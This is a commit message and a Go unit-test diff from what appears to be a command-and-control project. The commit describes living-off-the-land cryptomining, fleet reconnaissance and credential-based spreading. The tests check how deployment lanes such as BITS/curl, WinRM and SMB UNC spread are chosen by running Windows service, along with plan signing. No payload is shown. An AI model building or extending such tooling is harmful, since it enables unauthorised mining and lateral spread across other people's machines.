Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

server/internal/api/service_deploy_test.go

@@ -0,0 +1,58 @@
+package api
+
+import "testing"
+
+func TestPickDeployLanePriority(t *testing.T) {
+	allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{
+		"CCMEXEC":      {Lane: "bits_curl", Priority: 10},
+		"WinRM":        {Lane: "winrm", Priority: 30},
+		"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
+	})
+	services := []DeployServiceFinding{
+		{Name: "CCMEXEC", Status: "running"},
+		{Name: "WinRM", Status: "running"},
+	}
+	matched, lane, ok := PickDeployLane(services, allowlist)
+	if !ok {
+		t.Fatal("expected match")
+	}
+	if matched != "WinRM" || lane.Lane != "winrm" {
+		t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
+	}
+}
+
+func TestPickDeployLaneIgnoresStopped(t *testing.T) {
+	allowlist := NormalizeServiceDeployAllowlist(nil)
+	services := []DeployServiceFinding{{Name: "CCMEXEC", Status: "stopped"}}
+	_, _, ok := PickDeployLane(services, allowlist)
+	if ok {
+		t.Fatal("stopped service should not match")
+	}
+}
+
+func TestNormalizeJoinLaneAliases(t *testing.T) {
+	cases := map[string]string{
+		"bits/curl":       "bits_curl",
+		"spread_smb_unc":  "spread_smb_unc",
+		"linux-lotl":      "linux_lotl",
+	}
+	for in, want := range cases {
+		if got := normalizeJoinLane(in); got != want {
+			t.Fatalf("%q => %q want %q", in, got, want)
+		}
+	}
+}
+
+func TestVerifyDeployPlanSignature(t *testing.T) {
+	plan := DeployPlanBody{JoinLane: "bits_curl", Action: "bits_curl"}
+	sig, err := signDeployPlan(plan, "test-secret")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !VerifyDeployPlanSignature(plan, sig, "test-secret") {
+		t.Fatal("signature should verify")
+	}
+	if VerifyDeployPlanSignature(plan, sig, "wrong") {
+		t.Fatal("wrong secret should fail")
+	}
+}